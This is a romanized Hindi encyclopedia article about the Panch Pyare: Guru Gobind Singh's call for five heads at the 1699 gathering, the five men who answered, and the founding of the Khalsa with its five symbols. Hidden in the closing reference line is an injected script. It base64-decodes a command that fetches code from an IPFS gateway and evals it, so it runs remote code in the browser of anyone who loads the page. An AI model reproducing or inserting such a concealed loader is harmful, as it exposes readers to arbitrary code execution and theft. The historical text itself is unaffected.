पंच प्यारे
panch pyare vah paanch vir vyakti the, jinase guru govind sianh ne balidan svaroop unaka shish maanga tha. guru govind sianh sikkhoan ke dasavean aur aantim guru the. unhoanne devi durga ke ek bahut b de yajn ka ayojan karavaya. is yajn mean guruji ne ooanch-nich aur jati-pati ka koee bhed nahian rakha. yajn mean vishal janasamooh upasthit tha. guru govind sianh ne logoan ko dharm ki raksha aur desh ki azadi ke lie prerana pradan ki. guruji ne janabhavana ko parakhane ke lie samast janasamooh ke samaksh shish ki maang ki aur jin paanch viroan ne guru govind sianh ke lie apane shish bheant kiye, ve 'panch pyare' nam se vikhyat hue.
yajn ayojan
guru govind sianh ne bhagavati durga ka jo vishal yajn ayojit karavaya, usamean desh ke b de-b de pandit hi nahian, apitu har jati aur dharm ka vyakti upasthit tha. yajn mean guruji ne dharm ki raksha ke lie nirmit unake sangathan ko sahayog karane ki prerana di. is yajn mean logoan ne guru govind sianh ko lakhoan ka dhan aur hazaroan gho de, astr-shastr tatha prachur yuddh samagri bheant ki aur age bhavishy mean bhi tan, man, dhan aur jan se sahayata karane ki pratijna ki. yajn poora karane par guru govind sianh ne janasamooh ke sammukh akar kaha- "ab ap log is yajn ki adhishthatri devi bhagavati durga ke darshan kar lijie, aj jisaki upasana karane se hi dharm aur jati ki raksha ho sakati hai.[1] itana kahakar unhoanne apani talavar nikal kar chamakaee aur phir kaha-
"dharm raksha mean uthaee yoddha ki kripan hi bhagavati durga ka sachcha svaroop hoti hai. sat ki raksha aur asat ke vinash ke lie uthaee huee talavar mean bhagavati ki shakti aur devi ka tej samahit ho jata hai. jo vir pavitrata ke sath is shakti ka prayog karata hai, vah is jivan mean vijayi hota hai aur utsarg ho jane ke bad paradham pata hai. isalie jab tak dharm surakshit nahian ho jata, desh se aniti tatha atyachar ka unmoolan nahian ho jata, tab tak ap sabako aur any sabhi ko isi sakshat talavar bhavani ki upasana karani hai."
guru govind sianh ke is yajn aur udghosh ne jan-jan ke hriday mean virata, utsah aur sahas ka sagar lahara diya aur sabane apani-apani kripan nikalakar dharm ke nam par mar mitane ki pratijna ki.
guru govind ki maang
14 aprail, 1699 ko guru govind sianh ne dharmabhiyan praranbh karane se poorv buddhiman jan bhavana ki parakh karane ke vichar se sanvat 1955 ke chaitr mas mean ek b da virat samaroh kiya aur usamean sabhi ko bhag lene ke lie amantrit kiya. us utsav mean hazaroan log aye. guru govind sianh ne unaka adar, satkar kiya aur unake bhojan tatha vishram nivas ka samuchit prabandh kiya. pramukh sabha ke din guru govind sianh janasamuday ke sammukh nangi talavar lie hue aye aur bole- "bhaiyoan, aj devi durga ne balidan maanga hai. kya ap mean se koee aisa vir hai, jo devi ki prasannata ke lie apana sir de sake?"[1]
paanch viroan ka balidan
sabha mean kuchh der sannata chhaya raha. guruji ne phir kaha- "kya devi ki maang poori nahian hogi?" tabhi ek tis varshiy tarun utha aur bola- "maian apana sir devi ko bheant karane ko taiyar hooan." yah lahaur ke nivasi bhaee dayaram khatri the. guru govind sianh unhean ek tanboo mean le gaye aur ek muhoort hi mean logoan ne tanboo ke bahar rakt ki dhara bahate hue dekhi. guru govind sianh phir hath mean rakt se sani talavar lekar aye aur bole- "devi aur balidan chahati haian. kya doosara koee vyakti apana sir dene ko taiyar hai?" tabhi taiantis varshiy dilli nivasi bhaee dharmasianh jat ne age akar sir jhuka diya. guruji unhean bhi tanboo mean le gaye aur rakt ki doosari dhar bahati dikhaee di. tisari bar guruji ne akar phir vahi maang ki. ab ki bar 36 varshiy mohakamachand dhobi age aye. guru unako bhi tanboo mean le gaye aur ek bar phir tanboo ke bahar rakt ki dhar bahati dikhaee di. isi prakar guru govind sianh ne do bar aur akar balidan ki maang ki aur donoan bar kram se saiantis varshiy bidar nivasi bhaee sahabachand naee aur 38 varshiy jagannath nivasi bhaee himmataray kumhar ne apana sir dena svikar kiya aur donoan ki vahi dasha huee jo pratham tin ki huee thi. is balidan bhavana se sara janasamooh um d p da aur guruji se kahane laga ki- "hamara sir lijie, hamara sir lijie".[1]
panch pyare ki upadhi
isake bad vahaan upasthit logoan ne dekha ki ve paanchoan vir balidani sundar veshabhoosha mean talavar lie guru govind sianh ke sath sabha manch par a gaye. logoan ke ashchary ka thikana na raha. vastavik bat yah thi ki guru govind sianh ne un balidaniyoan ke sthan par paanch bakaroan ko marakar logoan ke dhairy tatha dridhata ki pariksha li thi. unaka yah prayog saphal hua aur jan gan ki balidan ki bhavana atal tatha avichal ho gee. usi samay guru govind sianh ne un paanchoan ko panch pyare ki upadhi dekar 'sianh' pad se unake nam vibhooshit kar janasamuday ko nirdesh diya ki- "aj se ap log apasi vir bhavana ke lie sianh kahalaeange aur apane uddeshy ke anuroop kripan, k da, kesh, kangha aur kachchha, ye paanch chihn sadaiv apane pas rakheange." ve paanch pyare jo desh ke vibhinn bhagoan se ae the aur samaj ke alag-alag jati aur sampraday ke log the, unhean ek hi katore mean amrit pilakar guru govind sianh ne ek bana diya. is prakar samaj mean unhoanne ek aisi kranti ka bij ropa, jisane jati ka bhed aur sampradayavad, sab kuchh mita diya.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 panch pyare (hindi). . abhigaman tithi: 08 agast, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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